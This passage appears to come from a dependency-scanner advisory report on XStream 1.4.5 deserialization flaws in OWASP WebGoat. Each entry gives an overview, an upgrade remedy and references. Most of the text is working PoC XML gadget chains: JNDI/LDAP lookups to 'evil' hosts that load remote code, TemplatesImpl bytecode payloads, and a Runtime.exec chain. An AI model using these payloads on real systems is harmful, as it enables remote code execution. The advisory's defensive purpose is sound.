    <com.sun.xml.internal.ws.spi.db.FieldGetter>
      <type>[Ljava.io.ObjectStreamField;</type>
      <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field' />
    </com.sun.xml.internal.ws.spi.db.FieldGetter>
  </entry>
  <entry>
    <string>CASE_INSENSITIVE_ORDER</string>
    <com.sun.xml.internal.ws.spi.db.FieldGetter>
      <type>java.util.Comparator</type>
      <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field' />
    </com.sun.xml.internal.ws.spi.db.FieldGetter>
  </entry>
  <entry>
    <string>serialVersionUID</string>
    <com.sun.xml.internal.ws.spi.db.FieldGetter>
      <type>long</type>
      <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field' />
    </com.sun.xml.internal.ws.spi.db.FieldGetter>
  </entry>
  <entry>
    <string>value</string>
    <com.sun.xml.internal.ws.spi.db.FieldGetter>
      <type>[C</type>
      <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field' />
    </com.sun.xml.internal.ws.spi.db.FieldGetter>
  </entry>
  <entry>
    <string>hash</string>
    <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter' />
  </entry>
</propertyGetters>
<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper' />
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
<entry>
<method reference='../../../databinding/stubHandlers/entry/method' />
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<owner reference='../../../../' />
<method reference='../../../../databinding/stubHandlers/entry/method' />
<isVoid>false</isVoid>
<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<string>ldap://ip:1389/#evil</string>
</java.util.PriorityQueue>
```

```
        </java.util.PriorityQueue>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog
- Nuclei Templates
- PoC in GitHub

More about this vulnerability

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. A user is only affected if using the version out of the box with JDK 1.7u21 or below. However, this scenario can be adjusted easily to an external Xalan that works regardless of the version of the Java runtime. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<linked-hash-set>
          <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization='custom'>
            <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              <default>
                <__name>Pwnr</__name>
                <__bytecodes>
                  <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBaOgk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEADOxpbmVOdW1iZXJUYWJsZQEAEkxvY2
                  <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEADOxpbmVOdW1iZXJUYWJsZQEAEkxvY2
                </__bytecodes>
                <__transletIndex>-1</__transletIndex>
                <__indentNumber>0</__indentNumber>
              </default>
            </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
          </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
          <dynamic-proxy>
            <interface>javax.xml.transform.Templates</interface>
            <handler class='sun.reflect.annotation.AnnotationInvocationHandler' serialization='custom'>
              <sun.reflect.annotation.AnnotationInvocationHandler>
                <default>
                  <memberValues>
                    <entry>
                      <string>f5a5a608</string>
                      <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference='../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'/>
                    </entry>
                  </memberValues>
                  <type>javax.xml.transform.Templates</type>
                </default>
              </sun.reflect.annotation.AnnotationInvocationHandler>
            </handler>
          </dynamic-proxy>
        </linked-hash-set>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog

More about this vulnerability

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<javax.swing.event.EventListenerList serialization='custom'>
          <javax.swing.event.EventListenerList>
            <default>
              <listenerList>
                <javax.swing.undo.UndoManager>
                  <hasBeenDone>true</hasBeenDone>
                  <alive>true</alive>
                  <inProgress>true</inProgress>
                  <edits>
                    <com.sun.xml.internal.ws.api.message.Packet>
                      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                        <parsedMessage>true</parsedMessage>
                        <soapVersion>SOAP_11</soapVersion>
                        <bodyParts/>
                        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                          <attachmentsInitialized>false</attachmentsInitialized>
                          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
                            <soapPart/>
                            <mm>
                              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                                <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
                                  <cleaned>false</cleaned>
                                  <entries>
                                    <com.sun.jndi.ldap.LdapEntry>
                                      <DN>cn=four,cn=three,cn=two,cn=one</DN>
                                      <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                                        <javax.naming.directory.BasicAttribute>
                                          <default>
                                            <ignoreCase>false</ignoreCase>
                                          </default>
                                          <int>4</int>
                                          <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                            <javax.naming.directory.BasicAttribute>
                                              <default>
                                                <ordered>false</ordered>
                                                <attrID>objectClass</attrID>
                                              </default>
                                              <int>1</int>
                                              <string>javanamingreference</string>
                                            </javax.naming.directory.BasicAttribute>
                                            <com.sun.jndi.ldap.LdapAttribute>
                                              <default>
                                                <rdn class='com.sun.jndi.ldap.LdapName' serialization='custom'>
                                                  <com.sun.jndi.ldap.LdapName>
                                                    <string>cn=four,cn=three,cn=two,cn=one</string>
                                                    <boolean>false</boolean>
                                                  </com.sun.jndi.ldap.LdapName>
                                                </rdn>
                                              </default>
                                            </com.sun.jndi.ldap.LdapAttribute>
                                          </com.sun.jndi.ldap.LdapAttribute>
                                          <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                            <javax.naming.directory.BasicAttribute>
                                              <default>
                                                <ordered>false</ordered>
                                                <attrID>javaCodeBase</attrID>
                                              </default>
                                              <int>1</int>
                                              <string>http://127.0.0.1:8080/</string>
                                            </javax.naming.directory.BasicAttribute>
                                            <com.sun.jndi.ldap.LdapAttribute>
                                              <default/>
                                            </com.sun.jndi.ldap.LdapAttribute>
                                          </com.sun.jndi.ldap.LdapAttribute>
                                          <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                            <javax.naming.directory.BasicAttribute>
                                              <default>
                                                <ordered>false</ordered>
                                                <attrID>javaClassName</attrID>
                                              </default>
                                              <int>1</int>
                                              <string>refObj</string>
                                            </javax.naming.directory.BasicAttribute>
                                            <com.sun.jndi.ldap.LdapAttribute>
```

```
                                    <default/>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                </com.sun.jndi.ldap.LdapAttribute>
                                <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                  <javax.naming.directory.BasicAttribute>
                                    <default>
                                      <ordered>false</ordered>
                                      <attrID>javaFactory</attrID>
                                    </default>
                                    <int>1</int>
                                    <string>ExecTemplateJDK7</string>
                                  </javax.naming.directory.BasicAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute>
                                    <default/>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                </com.sun.jndi.ldap.LdapAttribute>
                              </javax.naming.directory.BasicAttribute>
                            </attributes>
                          </com.sun.jndi.ldap.LdapEntry>
                        </entries>
                        <limit>2</limit>
                        <posn>0</posn>
                        <homeCtx/>
                        <more>true</more>
                        <hasMoreCalled>true</hasMoreCalled>
                      </aliases>
                    </it>
                  </mm>
                </multiPart>
              </sm>
            </message>
          </com.sun.xml.internal.ws.api.message.Packet>
        </edits>
        <indexOfNextAdd>0</indexOfNextAdd>
        <limit>100</limit>
      </javax.swing.undo.UndoManager>
                    <limit>100</limit>
                  </javax.swing.undo.UndoManager>
                </listenerList>
              </default>
              <string>java.lang.InternalError</string>
              <javax.swing.undo.UndoManager reference='../default/listenerList/javax.swing.undo.UndoManager' />
              <null/>
            </javax.swing.event.EventListenerList>
          </javax.swing.event.EventListenerList>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog

More about this vulnerability

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<sorted-set>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>test</type>
            <value class='javax.swing.MultiUIDefaults' serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                  <default>
                    <loadFactor>0.75</loadFactor>
                    <threshold>525</threshold>
                  </default>
                  <int>700</int>
                  <int>0</int>
```

```
</hashtable>
<javax.swing.UIDefaults>
    <default>
      <defaultLocale>zh_CN</defaultLocale>
      <resourceCache/>
    </default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
    <default>
      <tables>
      <javax.swing.UIDefaults serialization='custom'>
        <unserializable-parents/>
        <hashtable>
          <default>
            <loadFactor>0.75</loadFactor>
            <threshold>525</threshold>
          </default>
          <int>700</int>
          <int>1</int>
          <string>lazyValue</string>
          <javax.swing.UIDefaults_-ProxyLazyValue>
            <className>javax.naming.InitialContext</className>
            <methodName>doLookup</methodName>
            <args>
              <string>ldap://127.0.0.1:1389/#evil</string>
            </args>
          </javax.swing.UIDefaults_-ProxyLazyValue>
        </hashtable>
        <javax.swing.UIDefaults>
          <default>
            <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
            <resourceCache/>
          </default>
        </javax.swing.UIDefaults>
      </javax.swing.UIDefaults>
      </tables>
    </default>
  </javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
  <type>test</type>
  <value class='com.sun.org.apache.xpath.internal.objects.XString'>
    <m__obj class='string'>test</m__obj>
  </value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog
- Nuclei Templates

More about this vulnerability

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<sorted-set>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>ysomap</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
              <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                <parsedMessage>true</parsedMessage>
                <soapVersion>SOAP_11</soapVersion>
```

```
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
  <attachmentsInitialized>false</attachmentsInitialized>
  <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
    <soapPart/>
    <mm>
      <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
        <aliases class='com.sun.jndi.toolkit.dir.ContextEnumerator'>
          <children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'>
            <list class='com.sun.xml.internal.dtdparser.SimpleHashtable'>
              <current>
                <hash>1</hash>
                <key class='javax.naming.Binding'>
                  <name>ysomap</name>
                  <isRel>false</isRel>
                    <boundObj class='com.sun.jndi.ldap.LdapReferralContext'>
                      <refCtx class='javax.naming.spi.ContinuationDirContext'>
                        <cpe>
                          <stackTrace/>
                          <suppressedExceptions class='java.util.Collections$UnmodifiableRandomAccessList' resolves-to='java.util.Collections$UnmodifiableList'>
                            <c class='list'/>
                            <list reference='../c'/>
                          </suppressedExceptions>
                          <resolvedObj class='javax.naming.Reference'>
                            <className>EvilObj</className>
                            <addrs/>
                            <classFactory>EvilObj</classFactory>
                            <classFactoryLocation>http://127.0.0.1:1099/</classFactoryLocation>
                          </resolvedObj>
                          <altName class='javax.naming.CompoundName' serialization='custom'>
                            <javax.naming.CompoundName>
                              <properties/>
                              <int>1</int>
                              <string>ysomap</string>
                            </javax.naming.CompoundName>
                          </altName>
                        </cpe>
                      </refCtx>
                      <skipThisReferral>false</skipThisReferral>
                      <hopCount>0</hopCount>
                    </boundObj>
                </key>
              </current>
              <currentBucket>0</currentBucket>
              <count>0</count>
              <threshold>0</threshold>
            </list>
          </children>
          <currentReturned>true</currentReturned>
          <currentChildExpanded>false</currentChildExpanded>
          <rootProcessed>true</rootProcessed>
          <scope>2</scope>
        </aliases>
      </it>
    </mm>
  </multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog

More about this vulnerability

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<sorted-set>
        <javax.naming.ldap.Rdn_-RdnEntry>
          <type>ysomap</type>
          <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
            <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
              <parsedMessage>true</parsedMessage>
              <soapVersion>SOAP_11</soapVersion>
              <bodyParts/>
              <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                <attachmentsInitialized>false</attachmentsInitialized>
                <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
                  <soapPart/>
                  <mm>
                    <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                      <aliases class='com.sun.jndi.ldap.LdapSearchEnumeration'>
                        <listArg class='javax.naming.CompoundName' serialization='custom'>
                          <javax.naming.CompoundName>
                            <properties/>
                            <int>1</int>
                            <string>ysomap</string>
                          </javax.naming.CompoundName>
                        </listArg>
                        <cleaned>false</cleaned>
                        <res>
                          <msgId>0</msgId>
                          <status>0</status>
                        </res>
                        <enumClnt>
                          <isLdapv3>false</isLdapv3>
                          <referenceCount>0</referenceCount>
                          <pooled>false</pooled>
                          <authenticateCalled>false</authenticateCalled>
                        </enumClnt>
                        <limit>1</limit>
                        <posn>0</posn>
                        <homeCtx>
                          <__contextType>0</__contextType>
                          <port__number>1099</port__number>
                          <hostname>127.0.0.1</hostname>
                          <clnt reference='../../enumClnt'/>
                          <handleReferrals>0</handleReferrals>
                          <hasLdapsScheme>true</hasLdapsScheme>
                          <netscapeSchemaBug>false</netscapeSchemaBug>
                          <referralHopLimit>0</referralHopLimit>
                          <batchSize>0</batchSize>
                          <deleteRDN>false</deleteRDN>
                          <typesOnly>false</typesOnly>
                          <derefAliases>0</derefAliases>
                          <addrEncodingSeparator/>
                          <connectTimeout>0</connectTimeout>
                          <readTimeout>0</readTimeout>
                          <waitForReply>false</waitForReply>
                          <replyQueueSize>0</replyQueueSize>
                          <useSsl>false</useSsl>
                          <useDefaultPortNumber>false</useDefaultPortNumber>
                          <parentIsLdapCtx>false</parentIsLdapCtx>
                          <hopCount>0</hopCount>
                          <unsolicited>false</unsolicited>
                          <sharable>false</sharable>
                          <enumCount>1</enumCount>
                          <closeRequested>false</closeRequested>
                        </homeCtx>
                        <more>true</more>
                        <hasMoreCalled>true</hasMoreCalled>
                        <startName class='javax.naming.ldap.LdapName' serialization='custom'>
                          <javax.naming.ldap.LdapName>
                            <default/>
                            <string>uid=ysomap,ou=oa,dc=example,dc=com</string>
                          </javax.naming.ldap.LdapName>
                        </startName>
                        <searchArgs>
                          <name class='javax.naming.CompoundName' reference='../../listArg'/>
                          <filter>ysomap</filter>
                          <cons>
                            <searchScope>1</searchScope>
                            <timeLimit>0</timeLimit>
                            <derefLink>false</derefLink>
                            <returnObj>true</returnObj>
                            <countLimit>0</countLimit>
                          </cons>
                          <reqAttrs/>
                        </searchArgs>
                        <entries>
                          <com.sun.jndi.ldap.LdapEntry>
                            <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                            <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                              <default>
                                <ignoreCase>false</ignoreCase>
                              </default>
                              <int>4</int>
                              <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                <javax.naming.directory.BasicAttribute>
                                  <default>
                                    <ordered>false</ordered>
                                    <attrID>objectClass</attrID>
```

```
    </default>
    <int>1</int>
    <string>javaNamingReference</string>
  </javax.naming.directory.BasicAttribute>
  <com.sun.jndi.ldap.LdapAttribute>
    <default>
      <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
        <javax.naming.CompositeName>
          <int>0</int>
        </javax.naming.CompositeName>
      </rdn>
    </default>
  </com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
  <javax.naming.directory.BasicAttribute>
    <default>
      <ordered>false</ordered>
      <attrID>javaCodeBase</attrID>
    </default>
    <int>1</int>
    <string>http://127.0.0.1/</string>
  </javax.naming.directory.BasicAttribute>
  <com.sun.jndi.ldap.LdapAttribute>
    <default>
      <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
        <javax.naming.CompositeName>
          <int>0</int>
        </javax.naming.CompositeName>
      </rdn>
    </default>
  </com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
  <javax.naming.directory.BasicAttribute>
    <default>
      <javax.naming.directory.BasicAttribute>
        <default>
          <ordered>false</ordered>
          <attrID>javaClassName</attrID>
        </default>
        <int>1</int>
        <string>foo</string>
      </javax.naming.directory.BasicAttribute>
      <com.sun.jndi.ldap.LdapAttribute>
        <default>
          <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
            <javax.naming.CompositeName>
              <int>0</int>
            </javax.naming.CompositeName>
          </rdn>
        </default>
      </com.sun.jndi.ldap.LdapAttribute>
    </com.sun.jndi.ldap.LdapAttribute>
    <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
      <javax.naming.directory.BasicAttribute>
        <default>
          <ordered>false</ordered>
          <attrID>javaFactory</attrID>
        </default>
        <int>1</int>
        <string>EvilObj</string>
      </javax.naming.directory.BasicAttribute>
      <com.sun.jndi.ldap.LdapAttribute>
        <default>
          <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
            <javax.naming.CompositeName>
              <int>0</int>
            </javax.naming.CompositeName>
          </rdn>
        </default>
      </com.sun.jndi.ldap.LdapAttribute>
    </com.sun.jndi.ldap.LdapAttribute>
  </attributes>
</com.sun.jndi.ldap.LdapEntry>
</entries>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
  <type>ysomap</type>
  <value class='com.sun.org.apache.xpath.internal.objects.XString'>
    <m__obj class='string'>test</m__obj>
  </value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog

More about this vulnerability

HIGH SEVERITY

Remote Code Execution (RCE)

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This vulnerability may allow a remote attacker that has sufficient rights to execute commands on the host only by manipulating the processed input stream. No user is affected who followed the recommendation to set up XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 no longer uses a blacklist by default, since it cannot be secured for general purposes.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
            </default>
            <int>3</int>
            <dynamic-proxy>
              <interface>java.lang.Comparable</interface>
              <handler class='sun.tracing.NullProvider'>
                <active>true</active>
                <providerType>java.lang.Comparable</providerType>
                <probes>
                  <entry>
                    <method>
                      <class>java.lang.Comparable</class>
                      <name>compareTo</name>
                      <parameter-types>
                        <class>java.lang.Object</class>
                      </parameter-types>
                    </method>
                    <sun.tracing.dtrace.DTraceProbe>
                      <proxy class='java.lang.Runtime'/>
                      <implementing__method>
                        <class>java.lang.Runtime</class>
                        <name>exec</name>
                        <parameter-types>
                          <class>java.lang.String</class>
                        </parameter-types>
                      </implementing__method>
                    </sun.tracing.dtrace.DTraceProbe>
                  </entry>
                </probes>
              </handler>
            </dynamic-proxy>
            <string>calc</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog
- CISA - Known Exploited Vulnerabilities
- Nuclei Templates

More about this vulnerability

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<sorted-set>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>ysomap</type>
            <value class='javax.swing.MultiUIDefaults' serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>0</int>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale>zh_CN</defaultLocale>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
              <javax.swing.MultiUIDefaults>
                <default>
                  <tables>
                    <javax.swing.UIDefaults serialization='custom'>
                      <unserializable-parents/>
                      <hashtable>
                        <default>
                          <loadFactor>0.75</loadFactor>
                          <threshold>525</threshold>
                        </default>
                        <int>700</int>
                        <int>1</int>
                        <string>ggg</string>
                        <javax.swing.UIDefaults_-ProxyLazyValue>
                          <className>javax.naming.InitialContext</className>
                          <methodName>doLookup</methodName>
                          <args>
                            <arg>ldap://localhost:1099/CallRemoteMethod</arg>
                          </args>
                        </javax.swing.UIDefaults_-ProxyLazyValue>
                      </hashtable>
                      <javax.swing.UIDefaults>
                        <default>
                          <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                          <resourceCache/>
                        </default>
                      </javax.swing.UIDefaults>
                    </javax.swing.UIDefaults>
                  </tables>
                </default>
              </javax.swing.MultiUIDefaults>
            </value>
          </javax.naming.ldap.Rdn_-RdnEntry>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>ysomap</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
              <m__obj class='string'>test</m__obj>
            </value>
          </javax.naming.ldap.Rdn_-RdnEntry>
        </sorted-set>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog

More about this vulnerability

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven

- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

[com.thoughtworks.xstream:xstream](#) is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<linked-hash-set>
          <dynamic-proxy>
            <interface>map</interface>
            <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
              <classToInvocationHandler class='linked-hash-map'/>
              <defaultHandler class='sun.tracing.NullProvider'>
                <active>true</active>
                <providerType>java.lang.Object</providerType>
                <probes>
                  <entry>
                    <method>
                      <class>java.lang.Object</class>
                      <name>hashCode</name>
                      <parameter-types/>
                    </method>
                    <sun.tracing.dtrace.DTraceProbe>
                      <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
                        <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                          <default>
                            <__name>Pwnr</__name>
                            <__bytecodes>
